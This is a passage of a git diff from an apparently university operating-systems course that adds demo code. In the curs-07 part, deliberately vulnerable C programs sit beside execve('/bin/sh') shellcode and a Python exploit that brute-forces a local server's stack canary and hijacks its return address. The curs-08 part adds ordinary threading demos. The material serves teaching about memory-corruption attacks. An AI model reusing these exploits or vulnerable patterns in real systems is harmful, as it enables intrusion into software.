z=DIzpO2Mg^n_~CGI@>o?q}269S5K_7`%V`Xcf-;h47W=eO)4jJvB z3nJ*!z3?!XVSv*taIpu^V5so~i4o$KHW+C9GD%(I?@6%XXA-Qx2~t;Ak9`sh>R+Wb zej@nwEZI1O;PYhbLk*!9m|-;h7fc$-ho-(WVEXSoaC}wx(<3Z<05gwy+Y@YtlL!h2h6$0a6sM=&40$M z?}QjWwAGzrBbzo;;rGdkrbn3lJvKMg^ds^wr2t1oL+CbO4WaKqTEKy1wHI>E5ann} z^l6Q@ibxmCTTal&7K3=pYCP)VE`I=ab-j{r2z?tuBbyez3+nY>WAV}BWS^7l-$1UP zl{I&Aw*uz}-=r5h-%cuGoxVp&6o zIMajzpXHtS;04#OB|rNzSA;HLwbkye=gDn4Z`-L4N9ZCODessNPh0*h`#OBTnBEi2qw z-?3t#l}(Aa{chh1I&FnT$ZbymU9u#GN>ZGqxOB!f6_+g)cc8%KG1ZDYR#e@h#Gm39 z5U;TpjgKM=@sww{m>xz)rCj3aT*qiS-GO5{Yh$-MqZ=($IyQA=3+Y@XV+*OLgxPwj zEY60!Dng_xBO`XHy?DSbjpT}t$I>XBCrTN6BsRtX!8tT;m%(Bhp!{snWqIaA789j> zsBGD#QZ8F|+&qj@Ku?Qcv+?;Cw|xG^?>%+-nb4z`LzS^tLtlF4c<76d25^LASXOal z#KH;Hz{6Gvdpv90DG8ix@r7e|BdA|a9D=f}EKa@GaX=7S-Bdh|wgDtn6L)aKPwuF?iO2l7|l@3mxV3Sh1MvC>J|Mvrc=-M(sK<0_7M)$+UNFYR}mDVux=4 z;C?)r>2e8rh|&g^bh`v+rj74{7ilj2E3 z`@L8R+?Zp2b^>3F_VN~i39*7qydO5j?0FlP`bx<|b_1X59?S+Fg`Z*H{NF77%zoc< z^Z1{b2R}Iver6v0jd}2Yn+LxRob~s=zd>}A>1n@a7Xx1uST6SZ+IuT;F|&@>-DMvt52aJyL&;^*>#5$_^q_gr)ep+M|du?ULo>tu!Jun|Gm^qBWW;rjj`;gBY)D zB`XI-x|ko&*|=+nZQ6Km&)iCg+6q}KSt=zDS$4rG9TFp@WZt$im3;mXOgxeWO{YfH z7bl>0-tf>H%yx8R{R{m=)=+OBVnQg&i{5m(BAX}gi{o*9*~=?l#_fe#$g*XC>RuW9 zvV2#~Gr8UBzIg_rclW-z7MpeXT$?TLt7{<)Dk5h08X8Tixsyg-xoF{rD3i0@ppy-< z7=n3Q&k++=CWlQ0BGn`UWb~wyMP!zRnUyM+m3tYL@owE;g`r(r)li98`A{AqDX3F& z>6qpa|J$W;5i4Mi5$o+6Xm^sMO2WP@ma1g&zZBVwh*26#md8XabEp7+F2!a?=3w(x z##LF3U?C5+Ptrhf<2gsfWYb~}qu&_kF!G9W0Au!;nzdsY*lNkOaHp?pp?Nq?=Cf&( zT7)k=VzL0&8M;Ws@FL~$a-gzysxk_@WMLF^Rby20d+P^jxot06Svr_`(Q^N<2euQGVOu4=dojMrYr**uzJTH})H z({H~GIoEL}tjj+Uh)dlQKKpu!;?P4;O&$V+6O3y8rvhl&)Hqc^`Uvv$MEABx30h52W(djMZ_wTuD{mPbU$)=X0BzuUl>;Q zyaQ$O*WX2jI1GlW+FtJ~jw$;HSx{|`5$6&3ZD&v=^k z*X8Sd*`TWUFf%>LU;Y&GxTjFly}EzX{~zbq*RrOJ!&^M|`kt$ePLZ^pE6vCnzlaPD zl`db$;rjm%FR1$K`K9gj`2P!RsiN)mzVR9>g{1XdX?FSVBExGhbUdgG2eqN1x_nJP z@Y(A)c2L>RSH5=pAsG77_1E#=@I3Z@f4@}acWQ@bDd&FsTjsHUVu@>Tug}0Iio55r|8sQ_`ZI5%!29icl)b;5f2bC2 z|371BdoR`Rp0}ve>WIPQ#}UcIZv%dM-stZSUsGQf0TJRYQxfrv&$%ww&E=kFZu?!U MU5%|i1D`1V8}QZ-5&!@I literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow.c b/courses/curs-07-demo/buffer-overflow/buffer-overflow.c new file mode 100644 index 00000000..223ceb83 --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/buffer-overflow.c @@ -0,0 +1,43 @@ +/* + * Use buffer overflow to overwrite code pointer and hijack the control flow. + */ + +#include +#include +#include + +#include "utils.h" + +static void actual_func(void) +{ + printf("Call actual function.\n\n"); +} + +static void inject_func(void) +{ + printf("Call injected function.\n\n"); + exit(EXIT_SUCCESS); +} + +static size_t read_data(void) +{ + void (*func_ptr)(void) = actual_func; + char buffer[16]; + + memset(buffer, 'A', 16); + printf("Insert message (less than 16 bytes): "); + fgets(buffer, 48, stdin); + func_ptr(); + + return strlen(buffer); +} + +int main(void) +{ + size_t len; + + len = read_data(); + printf("\nRead %zd bytes from standard input.\n", len); + + return 0; +} diff --git a/courses/curs-07-demo/buffer-overflow/payloads.py b/courses/curs-07-demo/buffer-overflow/payloads.py new file mode 100644 index 00000000..156118d7 --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/payloads.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import struct + +# 32 bits +actual_func = 0x08048546 +injected_func = 0x0804855f + +offset = 0x1c-0xc +payload = offset * b"A" + struct.pack(" + +static char shellcode[64]; + +int main(void) +{ + void (*f)(void) = (void (*)(void)) shellcode; + + printf("Give data: "); + fgets(shellcode, 64, stdin); + f(); + + return 0; +} diff --git a/courses/curs-07-demo/shellcode/run-shellcode.c b/courses/curs-07-demo/shellcode/run-shellcode.c new file mode 100644 index 00000000..49908f18 --- /dev/null +++ b/courses/curs-07-demo/shellcode/run-shellcode.c @@ -0,0 +1,14 @@ +#if defined __i386__ +static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; +#elif defined __x86_64__ +static const char shellcode[] = "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; +#endif + +int main(void) +{ + void (*f)(void) = (void (*)(void)) shellcode; + + f(); + + return 0; +} diff --git a/courses/curs-07-demo/shellcode/shellcode-32.asm b/courses/curs-07-demo/shellcode/shellcode-32.asm new file mode 100644 index 00000000..9845710e --- /dev/null +++ b/courses/curs-07-demo/shellcode/shellcode-32.asm @@ -0,0 +1,22 @@ +; Inspired by: http://repo.shell-storm.org/shellcode/files/shellcode-827.php + +; Do execve("/bin//sh", ["/bin//sh", NULL], NULL) as a syscall. +; Arguments are passed in registers: +; ebx <- "/bin//sh" +; ecx <- ["/bin//sh", NULL] +; edx <- NULL +; Syscall number (0xb) is passed in al register. + +BITS 32 + +xor eax, eax ; eax <- 0 +push eax ; NUL-terminate the "/bin//sh" string. +push 0x68732f2f ; Push "//sh" string on the stack. +push 0x6e69622f ; Push "/bin" string on the stack. +mov ebx, esp ; ebx <- pointer to "/bin//sh" (NUL-terminated). +push eax ; Place NULL on the stack. +push ebx ; Place pointer to "/bin//sh". +mov ecx, esp ; ecx <- ["/bin//sh", NULL] +xor edx, edx ; edx <- NULL +mov al, 0xb ; Store execve syscall number (11) in al. +int 0x80 ; Do syscall. diff --git a/courses/curs-07-demo/shellcode/shellcode.asm b/courses/curs-07-demo/shellcode/shellcode.asm new file mode 100644 index 00000000..394e2642 --- /dev/null +++ b/courses/curs-07-demo/shellcode/shellcode.asm @@ -0,0 +1,22 @@ +; Inspired by: http://shell-storm.org/shellcode/files/shellcode-76.php + +; Do execve("/bin/sh", ["/bin/sh", NULL], NULL) as a syscall. +; Arguments are passed in registers: +; rdi <- "/bin/sh" +; rsi <- ["/bin/sh", NULL] +; rdx <- NULL +; Syscall number (0x3b) is passed in rax register. + +BITS 64 + +xor rdx, rdx ; rdx <- NULL +mov rbx, 0x68732f6e69622fff ; rbx <- "hs/nib/" + 0xff +shr rbx, 0x8 ; rbx <- 0x00 + "hs/nib/" +push rbx ; Push "/bin/sh" + 0x00 on the stack. +mov rdi, rsp ; rdi <- pointer to "/bin/sh" (NUL-terminated) +xor rax, rax ; rax <- 0 +push rax ; Push NULL on the stack. +push rdi ; Push pointer to "/bin/sh". +mov rsi, rsp ; rsi <-> ["/bin/sh", NULL] +mov al, 0x3b ; Store execve syscall number (0x3b) in rax. +syscall ; Do syscall. diff --git a/courses/curs-07-demo/socket-ssp/Makefile b/courses/curs-07-demo/socket-ssp/Makefile new file mode 100644 index 00000000..b9dffed0 --- /dev/null +++ b/courses/curs-07-demo/socket-ssp/Makefile @@ -0,0 +1,13 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC +LDFLAGS = -no-pie + +.PHONY: all clean + +all: socket_ssp + +socket_ssp: socket_ssp.o + +clean: + -rm -f socket_ssp.o socket_ssp + -rm -f *~ diff --git a/courses/curs-07-demo/socket-ssp/exploit.py b/courses/curs-07-demo/socket-ssp/exploit.py new file mode 100644 index 00000000..26d2c286 --- /dev/null +++ b/courses/curs-07-demo/socket-ssp/exploit.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 + +import sys +import struct +import socket + +# Address of inject_func() used to overwrite return address with. +# Find it using objdump -d -M intel socket_ssp | grep grep ':'. +overwrite_value = 0x4009a5 + +# Craft payload. Start with buffer contents: offset bytes from beginning +# of buffer to canary value. Stack is: +# -buffer (rbp-0x20) +# -buffer +# -... +# -... +# -canary (rbp-0x8) +# -saved_rbp (rbp) +# -return_address (rbp+0x8) +offset = 24 +payload = b'A'*offset + + +# Find bytes in canary by doing brute force. +def find_canary(): + global payload + for i in range(8): + for j in range(255): + # Connect to server. + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("localhost", 5000)) + + # Send payload so far plus byte to guess. + msg = payload+bytes([j]) + s.send(msg) + + # If we sent a correct byte (we matched the byte in canary value) + # there will be a return message. Add byte to payload. + ret = s.recv(1000) + if (len(ret) > 0): + payload = payload+bytes([j]) + print("Canary byte {:d} is 0x{:02x}".format(i, j)) + break + + +# Create exploit payload. +def craft_payload(): + global payload + # Skip saved RBP on stack. + payload = payload + b'A'*8 + + # Add value to overwrite return address (i.e. inject_func()). + payload = payload + struct.pack("Z)U!kdp$FEE;qNfueWI$Q_04@#Yh@)1vw_{X#zqIp9J4KJmiYcnvM{T2DhxFHB3qm3} zNQAB9*GWpcls3O>Mmb+0WL6OrjHDeBR#e$t2|KFi|1|le;ucw6vACR+?Nd~WtS%An zYFJs9h}I_J$!vdZe`7;!!^%J=6yl;5&-oyNlr06~P||?#Hh%wE~!~y<3amHAV1r5uAKa=l>f;@VX*+SrL3E@L8;y zjru#mF{bV#hH)05Vb#DgsmS$)$&CKE$$HFGGQqDIc0(9IpOH?d(kzxrU(a+sV}>Kw z>ye)8^;kHbfRBu6Bw4S~n}LI_crwb;MmWkcW)x;Dl1OC?7VAsLlV*&CBN3y|gcB;6 zJf%&&Hyls08`5#pU>n-onp^bcft5LKd0-W^yL(efsjZ{_HjHjt-ao<$|Izri@iDIM z$2svh?tDAD2R;bPE{MCy^6$V?I=Q%$Q@ST|F#>QBXr=5v3oie3aI1a`Uda)08L;50&nV|k3qH%DKWxFR_fKf=A6%g!XSUkU zLbr{Ywuz&my}xiBVH2y;fF_ojxK=I>f+M+yJdPiqKw5eo$<$@zN4eZZGIiDXD3||& zWIM?RxV(jA>YDKpE?-76b;+sUO+N+$#^}NXOm1_G4AKGhh*x4aUYj$Bva_e8JEA92bn@Xe)9Ch#Ig_C z24A^0H28LC?>i?qceK4Q+E*TAp%b%Eh5tx_10whMWG;r2KN=cxEUlr|4Yr#1mHg-|w~V^6@(OS}-csV{KzENs~!8gGYbkd0jf z4}-0*?Y;3ewtF>3@OM$jGs}?k?8~Utp*N{p24CPY8ha9s55EIs>~-SE$=C^Sp?$5# zpQXF!5PqaSwhd_Ph1TOXc9@{CRgec;-#L6Io>^nnlsVY?HnnA_^)+r88l>hVx!SS4 zHy#s}`S1)>W(^!nQ<<}&d-w!ZCPW;s%(dX)@eth(a93I2?jdq_>GbY?{S};?BzK<^ z$K8=VRS*`UY4CXhxr5FyJPkRo!S%LL9=3Jlx_Nrn{p9e^!-kt{VVxueQT)o zt=mSkOUCTzim`vBGMyUSp|G<^pGqIQ72J^X{W%;i&A~T<8^0Q(Qr#m>S2b;K8+@Z_ zTT@5-zNM#U`7!wS)e_y>H28Jf;AidUzssLh&wXtl+wdj&?zRt1|FVBq_U(gTv=4r^ zZt$a~i8*hD_8!qf7ymZ+1d2%rkzdKHt9!(C&&Arj-bQo*~g!D;_n|-Sf!S5 zB4I@R;fR?HC;YK&GGfM4$$&@wO_TZYe{CcYxCKa)e~0If5{4&laZj`?Q7SrLJME)aL_E_izn-Unq5^*A;*NN%tb?s=vkO zK(5E{*yj@yJ}S%WTkoyDtg`F|*8p3)V9f<9&N&+>FJlMjWOUJ~*)?k(Nu4W_+~P2Tz@Z%wn;4?XBNdtH1Els%tT-&0y7bqiNH(*{`V0Wa0j{ZW=Z9CM(!Pf z+Eec@6?$qf-NbekrTP3y?^!!Jw@}Ko=Rk>eHz`%ieA-8#r1C#KJ&_`Lzb!~4_pW!u zA!PN=VALjLwJ-EE6NxsSDOC%?&X80QyJE1-OG)i149JG6y%_Zlg5Lj8I^_&S?h!N%Bm`iJdPWfg?CFq{%3~jWnWjof0 ztKC)lXK2|q*RP1!O4Arxc1P(~94z@~5Ze#o%D!|hY1^Eakm+s2pSK=Yhr@~2jm)-( zkn=av)#W?^V*49%bl3NZy^7d3X!l zokFpW&q$TI9|qv~@+neruO$8};(hM-;o0#u@zw6{6MmX_zq=b(#{}^;o;K298VU8D zpOc_*q0#emvaoR>=sAyyb8sQ#d5qMYT-fZXC1)jE*x|X41ebObOglZdk(x)N*Ze)6 z5IHE!C-L zW07_rggZU-cyTP%?gtt6{Fc;ewVy)R?|FxW02f9)CrGH{!V{j4NvP+-0ngjyZMjA* zIp}$Z>b8Q{ZPfF(q_#>M0r>?hql!50b5%jAc8pLX-EWY>kBMdOhse#t)LfUlm%Kbi zt@W`I*G6C^uIC|@Q%6#@D;mKNO1;U^0}8ET-kag7@+<(3wHo1-A@Us*e2Vxc&X>5J zgOk!Xq2hZQMLO@G;(fOuaLzk9`#a=22RVBVmA8QERQ@|?Erk9oR_X)st%5T-1}D@c=+j8@;tDTSNoO^%C-Y`&+*XMoxXQ1aUXrp+SQ zZKpS$l*&nSL}@N$rNiLo(+g~EHoEE z)LT_%_b&9#(q@Q&wvl1u^kVkm;?0={FJi%9X+gjMmO4 zz$XEeD}Y%`(CFC?l>DtSs*NhWss@&e;A;+N5T!FXgD#jmPn)deyvbT(sKC2RwB1&X zcuy8a;(~y-cD{(sdGp(~NFC0*=?yF8;kWK&wr+J@JQ+!3qXy%8QkbgO6*n_^DtW?G z{mkxs^}3{C#_?nFwWfUCiK^o?Q`CqBdgu?Jxx3HEfW?CbHIAnQ3k}X<(7~;avrqIo zROBfO+-TV(&?sQ&bsJ`?&(tHSv>|=OyOZIB$fOsp;b=51bNKlz$)lvCS)0WrDUdi( z^s#(NOT~!{j7OWg0qk?N%U#`T>37S2y7s!RyXAzdo7o&%Nvy=Sy2^D;_e*cO_F8}? zIexC|9?m~VihFlmef3KZzhuumXmg?qBdKH(uZv?*hPKe@FOYD$o9U@UR8PfXbSjJj zlBCmMdfO&F6W(R$1{5o#m@+Q@VmW0WMay=WBTAk|QNoy+Un+FSL$L^dN2g&Ss zy_^}#gk|dyk!&)90cb@1k)Ci`RA9?G6tDM%qpP^fJw`gkCS#E^;6dU2Nu^O8MeMEB zMU7ZyvVZB2ARh)erRr~4woEKB{I$JiHfdbiZD72_BM`&sNYAC>1gyWd+g}^w=MQW9 z(kT<2l}ZCirfN60weYgU5a|lz%%Pr5W-~@~ImdZvG;(wri)bd@oID2==GEYXWNYh{ za-3ki_VdvfjxG}sfFlaT3PD!VNa8WYp~q}2X27*>x&LJNnywN|OZ%qQ9jz@4)s7gM zj2=nE4GbjJFX7~FOZDmI(COZ3SczT{$2H`r#88s=O@8drV>m@gy-uTBSi?4Bq<7`+ zDC+oZpU#6rPb)E)sQm)MSQNUkM7TS%d~#^uPDKP^un&fV@M%L8Pfjby#R5`B2 zqff2ocZ?`)T}#Vmw4R;@jc7mb)GIb!(cF$l03PGTlO0d?Mq6--0-ZGNm=?D)b6VVy z+h4Idv*YV@{hAsz1B=Sn~SCSbo%qy{%P^abJY2M_>|cSao(QWmCMhvGqrnHh^t+@ zLj25pKuUI|CbpB=n4@5C;g1uOh~Q{{(T09JUa${@c`nC&?x0YV*Ci5H`;{tlH5d)M za4*XEPOa@GDPSH@*G*Pq(I`+-ka|3|rgB~#0p1&}HIJ$@RiWNPuE zB6xt~)l98lF#Y0*_5vslYG$M&_`Jjm*AlNve9HO+_;mIBJ#Y=<`6+J@Tz;BP|0Aw4 zd+K;bU^Sd}D;&>m9`LDgTg36H_g5YFGj*J|0-udI^vU}a6I!0i!1&qJ@xP7hOC<}T z6VpEE)3IJ_+QjvzJ|Ac!#d=;_*$frIA1s3ZqzL}YBKWZ)`1?h0+WMk)6+Q>%0-vt_ z7xK8N)=bh%fX}kcV;hI zBbw5?6RECnLXTo@is^2)pG8u=eF*~xY6GhqE^eG&3A3MMTo0$y;oX>xn(5svmJatC zdNkYHi>aY*k+3j{n|Z2o+9{??wC^M5N|Q@7>m1U$$|;zR>iT-DH(K@9E7s{)TI836 zIqABquV~sxGi_@Q|B43?=J9%KNO}mZ+rsn>?VFmL+VxHA*Kcj@&^wx%u}py?|Mn-6 z$?`UfFMonT_301);K$(8$HGsICY4r-uahPLvf`gDr}c?7Ak?#R4OieUn!wZ>E6uQJP_bq_ zf^{)m>0MY%h#uf;VmgPNZz?|C%E!bB?R<j4VI6fO<0l^ zV0?j_kFh{zcP|zUpk`Xo9>rnaZlwEIAc@sopsBg7)(m$`2^&Fyu527%MPlzTKvGXQ z)58MM-AVWp6bn3_vkS|99Bt1NbmSq1VKR_hU&3So9`t}o%e?^Ig~&_s@fR?9m>DE zt{-{Ur2f7sjJ|BK+N<@HDIK1p6eTURUkCg%yyI2n@3#fHruyDk*<)vnC-Kr!3LsbD zhrQBV{YPym+ z>aW&&w9QYcMiAQB<4Nf$dOc8j2d-qbE*y{s_0q1e{t{+;z))3{y;?sWkoF;|sLC&F z|EPJbfNBe0|AgS{KLK1aVJkde?toCZ% zIxOw^HyjoN%#3+b^sgaV?bUo}L{^kums*puQ`miAtoCXhY|4Wi^xca!$zhR$M!=E1 zioco%4oLf(a+-oEEdPlD``o%3Q%6c2g5<7+<|JEVOlWm=NzKLw3~@#3e# zq|T+N@7)Xam8|H?u&uP%tMz=fT#zX}sPLp@MUMfcv7^dY>m>F66F4gCuf~_MQ*rz~ zY)M7gtNnqKivc1jJt0kwU*+dLWLWKU`v`tvv0oWVs_Yb{b)VHmtW&mn?Q_U9Miq)SOrI~c`_9C3ZcFKD6PLfzR# z?6oDr{zt0gggB+Fvx?a7KTjC+7Zg|^vWtq?`((pkFEA(&S);TsZ0EZdi1PoT;D%H7 zR;uoO*+fo;>x2}P1H})q0Y5cv)brB~O!Yn3Tsle{G)Nl?GF7=Em)1Vh+s|7gG+GJ_ H3Pko_3~ir` literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/socket-ssp/socket_ssp.c b/courses/curs-07-demo/socket-ssp/socket_ssp.c new file mode 100644 index 00000000..13d303e0 --- /dev/null +++ b/courses/curs-07-demo/socket-ssp/socket_ssp.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.h" + + +#define LISTEN_PORT 5000 +#define LISTEN_BACKLOG 5 + + +static const char MSG[] = "Called actual function.\n\n"; +static const char ATTACK[] = "Called injected function.\n\n"; +static int connectfd; + + +static void actual_func(void) +{ + write(connectfd, MSG, strlen(MSG)+1); +} + +static void inject_func(void) +{ + write(connectfd, ATTACK, strlen(ATTACK)+1); +} + +static void process_client(void) +{ + char buffer[16]; + + read(connectfd, buffer, 100); +} + + +int main(void) +{ + int listenfd; + struct sockaddr_in servaddr; + int rc; + pid_t pid; + + /* Create TCP (stream) socket. */ + listenfd = socket(AF_INET, SOCK_STREAM, 0); + DIE(listenfd < 0, "socket"); + memset(&servaddr, 0, sizeof(servaddr)); + + /* Assign IP address and port to socket. */ + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = htonl(INADDR_ANY); + servaddr.sin_port = htons(LISTEN_PORT); + + /* Put server socket in listening mode. */ + rc = bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)); + DIE(rc < 0, "bind"); + rc = listen(listenfd, LISTEN_BACKLOG); + DIE(rc < 0, "listen"); + + while (1) { + /* Loop waiting for connections. Ignore originating address. */ + connectfd = accept(listenfd, NULL, 0); + DIE(connectfd < 0, "accept"); + pid = fork(); + switch (pid) { + case 0: /* child process */ + process_client(); + actual_func(); + close(connectfd); + exit(EXIT_SUCCESS); + break; + + default: /* parent process or error */ + close(connectfd); + wait(NULL); /* ignore child exit status */ + } + } + + return 0; +} diff --git a/courses/curs-07-demo/utils/utils.h b/courses/curs-07-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-07-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-08-demo/address-space/.gitignore b/courses/curs-08-demo/address-space/.gitignore new file mode 100644 index 00000000..efa3e0e7 --- /dev/null +++ b/courses/curs-08-demo/address-space/.gitignore @@ -0,0 +1 @@ +/address-space diff --git a/courses/curs-08-demo/address-space/Makefile b/courses/curs-08-demo/address-space/Makefile new file mode 100644 index 00000000..bcec8bc8 --- /dev/null +++ b/courses/curs-08-demo/address-space/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: address-space + +address-space: address-space.o + +address-space.o: address-space.c ../utils/utils.h + +clean: + -rm -f *.o *~ address-space diff --git a/courses/curs-08-demo/address-space/address-space.c b/courses/curs-08-demo/address-space/address-space.c new file mode 100644 index 00000000..50097346 --- /dev/null +++ b/courses/curs-08-demo/address-space/address-space.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_THREADS 5 + + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +static void *show(void *arg) +{ + struct timespec ts; + + printf("This is thread %lu\n", pthread_self()); + + ts.tv_sec = 100; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + return NULL; +} + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i; + + msg_and_wait("Program started."); + + for (i = 0; i < NUM_THREADS; i++) { + DIE(pthread_create(&ths[i], NULL, &show, NULL) != 0, "pthread_create"); + msg_and_wait("Created new thread."); + } + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_join(ths[i], NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/creation-time/.gitignore b/courses/curs-08-demo/creation-time/.gitignore new file mode 100644 index 00000000..3db4382e --- /dev/null +++ b/courses/curs-08-demo/creation-time/.gitignore @@ -0,0 +1,2 @@ +/process-overhead +/thread-overhead diff --git a/courses/curs-08-demo/creation-time/Makefile b/courses/curs-08-demo/creation-time/Makefile new file mode 100644 index 00000000..14daab16 --- /dev/null +++ b/courses/curs-08-demo/creation-time/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: process-overhead thread-overhead + +process-overhead: process-overhead.o + +process-overhead.o: process-overhead.c ../utils/utils.h + +thread-overhead: thread-overhead.o + +thread-overhead.o: thread-overhead.c ../utils/utils.h + +clean: + -rm -f *.o *~ process-overhead thread-overhead diff --git a/courses/curs-08-demo/creation-time/process-overhead.c b/courses/curs-08-demo/creation-time/process-overhead.c new file mode 100644 index 00000000..84eb26f6 --- /dev/null +++ b/courses/curs-08-demo/creation-time/process-overhead.c @@ -0,0 +1,43 @@ +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 100 +#define NUM_PROCESSES 100 + +static void show(void) +{ + printf("This is process %d\n", getpid()); +} + +int main(void) +{ + int status; + size_t i, j; + + for (i = 0; i < NUM_ROUNDS; i++) { + for (j = 0; j < NUM_PROCESSES; j++) { + pid_t pid = fork(); + switch (pid) { + case -1: + DIE(pid, "fork"); + case 0: + /* child process */ + show(); + exit(EXIT_SUCCESS); + break; + default: + /* parent process */ + break; + } + } + + for (j = 0; j < NUM_PROCESSES; j++) + wait(&status); + } + + return 0; +} diff --git a/courses/curs-08-demo/creation-time/thread-overhead.c b/courses/curs-08-demo/creation-time/thread-overhead.c new file mode 100644 index 00000000..708dc020 --- /dev/null +++ b/courses/curs-08-demo/creation-time/thread-overhead.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 100 +#define NUM_THREADS 100 + +static void *show(void *arg) +{ + printf("This is thread %lu\n", pthread_self()); + + return NULL; +} + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i, j; + + for (i = 0; i < NUM_ROUNDS; i++) { + for (j = 0; j < NUM_THREADS; j++) + DIE(pthread_create(&ths[j], NULL, &show, NULL) != 0, "pthread_create"); + + for (j = 0; j < NUM_THREADS; j++) + DIE(pthread_join(ths[j], NULL), "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-08-demo/lang/Makefile b/courses/curs-08-demo/lang/Makefile new file mode 100644 index 00000000..924f24d4 --- /dev/null +++ b/courses/curs-08-demo/lang/Makefile @@ -0,0 +1,10 @@ +.PHONY: all + +all: MultithreadingTest.class + +MultithreadingTest.class: MultithreadingTest.java + javac $< + +clean: + -rm -f *~ + -rm -f MultithreadingTest.class MultithreadingDemo.class diff --git a/courses/curs-08-demo/lang/MultithreadingTest.java b/courses/curs-08-demo/lang/MultithreadingTest.java new file mode 100644 index 00000000..0870f6fe --- /dev/null +++ b/courses/curs-08-demo/lang/MultithreadingTest.java @@ -0,0 +1,38 @@ +import java.util.Scanner; + +class MultithreadingDemo extends Thread { + public static final int SLEEP_TIME = 100; /* sleeep time in seconds */ + public void run() { + try { + // Display the running thread. + System.out.println("Thread " + Thread.currentThread().getId() + " is running"); + // Put thread to sleep to monitor it. + Thread.sleep(SLEEP_TIME * 1000); + } catch (Exception e) { + System.out.println(e); + } + } +} + +public class MultithreadingTest { + public static final int NUM_THREADS = 8; /* number of threads to create */ + public static void main(String[] args) { + MultithreadingDemo[] demo = new MultithreadingDemo[NUM_THREADS]; + /* Start threads. */ + for (int i = 0; i < NUM_THREADS; i++) { + System.out.println("Press ENTER to create new thread ..."); + Scanner scanner = new Scanner(System.in); + scanner.nextLine(); + demo[i] = new MultithreadingDemo(); + demo[i].start(); + } + /* Wait for threads. */ + for (int i = 0; i < NUM_THREADS; i++) { + try { + demo[i].join(); + } catch (Exception e) { + System.out.println(e); + } + } + } +} diff --git a/courses/curs-08-demo/lang/threading_demo.py b/courses/curs-08-demo/lang/threading_demo.py new file mode 100644 index 00000000..39e69e15 --- /dev/null +++ b/courses/curs-08-demo/lang/threading_demo.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +import sys +import threading +import time + +SLEEP_TIME = 100 +NUM_THREADS = 8 + +def run(): + print "Thread {:d} is running".format(threading.currentThread().ident) + time.sleep(SLEEP_TIME) + +def main(): + th = [None for i in range(NUM_THREADS)] + for i in range(NUM_THREADS): + print "Press ENTER to create new thread ..." + s = sys.stdin.readline() + # Start threads. + th[i] = threading.Thread(target=run) + th[i].start() + for i in range(NUM_THREADS): + # Wait for threads. + th[i].join() + +if __name__ == "__main__": + sys.exit(main()) diff --git a/courses/curs-08-demo/reentrant/.gitignore b/courses/curs-08-demo/reentrant/.gitignore new file mode 100644 index 00000000..bbf36339 --- /dev/null +++ b/courses/curs-08-demo/reentrant/.gitignore @@ -0,0 +1,4 @@ +/reentrant +/reentrant-ok +/out +/out-ok diff --git a/courses/curs-08-demo/reentrant/Makefile b/courses/curs-08-demo/reentrant/Makefile new file mode 100644 index 00000000..b4744745 --- /dev/null +++ b/courses/curs-08-demo/reentrant/Makefile @@ -0,0 +1,20 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: reentrant reentrant-ok + +reentrant: reentrant.o + +reentrant.o: reentrant.c ../utils/utils.h + +reentrant-ok: reentrant-ok.o + +reentrant-ok.o: reentrant.c ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -DUSE_REENTRANT -c -o $@ $< + +clean: + -rm -f *.o *~ reentrant reentrant-ok diff --git a/courses/curs-08-demo/reentrant/reentrant.c b/courses/curs-08-demo/reentrant/reentrant.c new file mode 100644 index 00000000..b04560fd --- 